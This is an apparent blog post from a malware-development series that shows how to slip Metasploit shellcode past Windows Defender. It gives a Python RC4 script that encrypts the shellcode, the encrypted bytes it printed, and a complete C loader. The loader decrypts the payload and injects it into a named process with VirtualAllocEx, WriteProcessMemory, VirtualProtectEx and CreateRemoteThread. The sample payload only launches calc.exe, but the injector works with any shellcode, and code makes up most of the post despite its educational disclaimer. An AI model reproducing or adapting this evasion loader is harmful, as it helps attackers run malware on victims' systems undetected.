1369 words
7 minutes
0x03 - Bypassing Windows Defender using RC4 Encryption
WARNING

This blog post is shared purely for learning and educational purposes. I do not support or take responsibility for any misuse or unethical actions performed using the information provided. Please use this knowledge responsibly and within legal boundaries.

Alright, earlier we talked about loader and process injection techniques, but as you probably noticed, once we compiled our code, Windows Defender flagged the binary as malicious and deleted. That’s because we embedded Metasploit shellcode directly into it. Since metasploit is a well known framework and most security tools already have signatures for its payloads.

So today, we gonna add payload encryption function to our previous code using RC4 encryption that can bypass detection and worked on window 11 as well.

Intro to RC4 Encryption#

There any serveral ways to encrypt our payload but for this blog, I choose RC4 because it’s fast and efficient. And RC4 use bidirectional encryption algorithm which mean we can use the same function for encryption and decryption. You can read more about RC4 encryption online but this is out of scope for now.

And there are multiple ways online to implement RC4 encryption in C and I took the encryption code from xct’s blog and made a little bit changes to use in our code.

Encrypting Shellcode#

First, generate the shellcode using msfvenom and use this python script to encrypt the payload.

rc4.py
#!/usr/bin/env python3
def rc4(data, key):
keylen = len(key)
s = list(range(256))
j = 0
# KSA
for i in range(256):
j = (j + s[i] + key[i % keylen]) % 256
s[i], s[j] = s[j], s[i]
# PRGA
i = 0
j = 0
encrypted = bytearray()
for n in range(len(data)):
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
encrypted.append(data[n] ^ s[(s[i] + s[j]) % 256])
return encrypted
pShellcode = bytearray([
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0 # REPLACE YOUR SHELLCODE HERE FROM MSF
])
key = b"kernel32.dll" # set your secrypt key here for both encryption and decryption
encrypted = rc4(pShellcode, key)
print("unsigned char encShellcode[] = {")
for i, b in enumerate(encrypted):
if i % 16 == 0:
print(" ", end="")
print(f"0x{b:02X}, ", end="")
if i % 16 == 15:
print()
print("\n};")
print(f"\nShellcode length: {len(encrypted)} bytes")

And run it

Terminal window
shane@maldev /rc4 % python3 rc4.py
unsigned char encShellcode[] = {
0x68, 0x94, 0xDD, 0x9A, 0x55, 0xEA, 0xD3, 0x58, 0x82, 0xBB, 0xB1, 0x60, 0x2E, 0x4E, 0x64, 0x43,
0xE6, 0x00, 0x1E, 0xBC, 0xC0, 0xBD, 0xE5, 0x0D, 0xB5, 0x01, 0x67, 0x53, 0xE9, 0x2D, 0x82, 0x9E,
0xCF, 0x1A, 0xDE, 0x35, 0x0B, 0x86, 0xF0, 0xBF, 0x2B, 0xC4, 0x19, 0xDC, 0x0B, 0x82, 0x5A, 0xA8,
0x76, 0x79, 0xB1, 0x45, 0xFA, 0x50, 0x8D, 0x3E, 0x43, 0xD2, 0x95, 0xF1, 0x6B, 0xEA, 0x33, 0x9C,
0x32, 0xDA, 0x02, 0x8C, 0xEE, 0x06, 0x92, 0xC3, 0x0A, 0xC1, 0xDA, 0x32, 0x10, 0x8F, 0x55, 0x8C,
0xB6, 0x18, 0x06, 0x95, 0xC3, 0xA1, 0x06, 0x28, 0xCA, 0x89, 0xA2, 0xE8, 0xED, 0xA9, 0x08, 0x21,
0x86, 0x93, 0x17, 0x59, 0x1C, 0x66, 0x6A, 0x95, 0x8E, 0x17, 0x04, 0x69, 0xA3, 0x1E, 0x04, 0x17,
0x34, 0xCD, 0xF1, 0xD5, 0xA6, 0x92, 0x7B, 0x7E, 0x90, 0xD0, 0xFA, 0x19, 0x29, 0xE1, 0x0D, 0xE1,
0xF6, 0x3D, 0x7F, 0x19, 0x87, 0x78, 0x7A, 0x89, 0xEB, 0x16, 0xA6, 0x7F, 0xD7, 0xD9, 0xA4, 0x81,
0xC3, 0x7A, 0x9A, 0x65, 0x8F, 0x76, 0xE1, 0xA6, 0x51, 0xF9, 0xB4, 0xA9, 0x73, 0xC0, 0x92, 0xE7,
0x1B, 0x4C, 0x88, 0x64, 0xFA, 0x9D, 0x0F, 0xE2, 0x1B, 0x07, 0x2B, 0xFE, 0x44, 0xD1, 0x7F, 0x71,
0xD5, 0x88, 0xFA, 0x07, 0xFB, 0xB8, 0xF5, 0xD9, 0x49, 0x3F, 0x3E, 0x7F, 0x06, 0x8F, 0xB9, 0x73,
0xB1, 0xF4, 0xC8, 0x9A, 0xF7, 0x4D, 0xAD, 0x0E, 0xE9, 0x51, 0xE7, 0x01, 0x8B, 0xF2, 0x3A, 0x2C,
0x4D, 0x47, 0xEA, 0xFC, 0xF6, 0xF8, 0x68, 0x33, 0x24, 0xE9, 0xDE, 0xEA, 0x90, 0x56, 0x84, 0x72,
0xA1, 0x5E, 0x79, 0x25, 0x3A, 0x7E, 0x32, 0x59, 0xC2, 0xEF, 0x7B, 0x93, 0xDE, 0xE3, 0x5F, 0x16,
0xBF, 0x6F, 0xD8, 0x29, 0xFF, 0xEE, 0xA2, 0x74, 0x5A, 0x5F, 0x52, 0x0E, 0xEC, 0x5C, 0xA8, 0x98,
0x25, 0x8E, 0x27, 0x43, 0x17, 0x93, 0x20, 0x7A, 0x08, 0x0B, 0x2C, 0x00, 0xF6, 0x7C, 0x9D, 0x27,
};
Shellcode length: 272 bytes

Decrypt Function in C#

VOID RC4Decrypt(unsigned char* data, size_t data_len, const unsigned char* key, size_t keylen)
{
printf("[*] Decrypting the shellcode.\n");
unsigned char s[256];
int i, j;
// KSA (Key-Scheduling Algorithm)
for (i = 0; i < 256; ++i)
s[i] = (unsigned char)i;
j = 0;
for (i = 0; i < 256; ++i) {
j = (j + s[i] + key[i % keylen]) & 0xFF; // %256
unsigned char tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
// PRGA (Pseudo-Random Generation Algorithm)
i = 0;
j = 0;
for (size_t n = 0; n < data_len; ++n) {
i = (i + 1) & 0xFF;
j = (j + s[i]) & 0xFF;
unsigned char tmp = s[i];
s[i] = s[j];
s[j] = tmp;
data[n] ^= s[(s[i] + s[j]) & 0xFF];
}
}

Now all we need to do is to call that function in our main before calling InjectRemoteProcess.

unsigned char key[] = "kernel32.dll"; // this is your key
RC4Decrypt(encShellcode, sizeof(encShellcode), key, strlen((char*)key));

Full Source Code#

RC4Encryption.c
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <stddef.h>
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char encShellcode[] = {
0x68, 0x94, 0xDD, 0x9A, 0x55, // Replace your encrypted shellcode from python script output
};
VOID RC4Decrypt(unsigned char* data, size_t data_len, const unsigned char* key, size_t keylen)
{
printf("[*] Decrypting the shellcode.\n");
unsigned char s[256];
int i, j;
// KSA (Key-Scheduling Algorithm)
for (i = 0; i < 256; ++i)
s[i] = (unsigned char)i;
j = 0;
for (i = 0; i < 256; ++i) {
j = (j + s[i] + key[i % keylen]) & 0xFF; // %256
unsigned char tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
// PRGA (Pseudo-Random Generation Algorithm)
i = 0;
j = 0;
for (size_t n = 0; n < data_len; ++n) {
i = (i + 1) & 0xFF;
j = (j + s[i]) & 0xFF;
unsigned char tmp = s[i];
s[i] = s[j];
s[j] = tmp;
data[n] ^= s[(s[i] + s[j]) & 0xFF];
}
}
DWORD FindProcessId(const wchar_t* processname)
{
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
DWORD result = 0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap);
wprintf(L"!!! Failed to gather information on system processes!\n");
return 0;
}
do
{
if (wcscmp(processname, pe32.szExeFile) == 0)
{
result = pe32.th32ProcessID;
//wprintf(L"Process ID: %lu\n", result);
break;
}
} while (Process32NextW(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return result;
}
// we create a function called InjectRemoteProcess
BOOL InjectRemoteProcess(DWORD Pid, PBYTE pShellcode, SIZE_T pShellcodeSize) {
// open process to specify Pid
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] OpenProcess to PID: %i \n", Pid);
// allocating memory into a specific process id that you supply
PVOID pShellcodeAddress = VirtualAllocEx(hProcess, NULL, pShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// write our shellcode into allocated memory
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, pShellcodeSize, NULL)) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Write shellcode to 0x%p\n", pShellcodeAddress);
// change to PAGE_EXECUTE_READWRITE
DWORD dwOldProtection = NULL;
if (!VirtualProtectEx(hProcess, pShellcodeAddress, pShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// create new thread into remote process
printf("[i] Create remote thread to execute payload\n");
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pShellcodeAddress, NULL, 0, NULL);
if (hRemoteThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Done\n");
CloseHandle(hProcess);
CloseHandle(hRemoteThread);
return TRUE;
}
int wmain(int argc, wchar_t* argv[])
{
if (argc != 2) {
wprintf(L"Usage: %s <process_name.exe>\n", argv[0]);
return 1;
}
const wchar_t* pName = argv[1];
DWORD dwProcessID = FindProcessId(pName);
if (dwProcessID == 0) {
wprintf(L"[!] Process %ls not found.\n", pName);
return 1;
}
wprintf(L"[!] Process ID of %ls: %lu\n", pName, dwProcessID);
unsigned char key[] = "kernel32.dll";
RC4Decrypt(encShellcode, sizeof(encShellcode), key, strlen((char*)key));
SIZE_T pShellcodeSize = sizeof(encShellcode);
// calling the function
if (!(InjectRemoteProcess(dwProcessID, encShellcode, pShellcodeSize))) {
return -1;
}
return 0;
}

Running the Binary#

Now it’s time to run our binary with Windows Defender turned on.

Windows 10#

Windows 11#

Task for you#

You can apply the same method to the shellcode loader that I covered in the first post of this series.

References#

0x03 - Bypassing Windows Defender using RC4 Encryption
https://k0shane.github.io/posts/maldev/0x3-windef-bypass-rc4/
Author
k0shane
Published at
2025-11-22
License
SHANE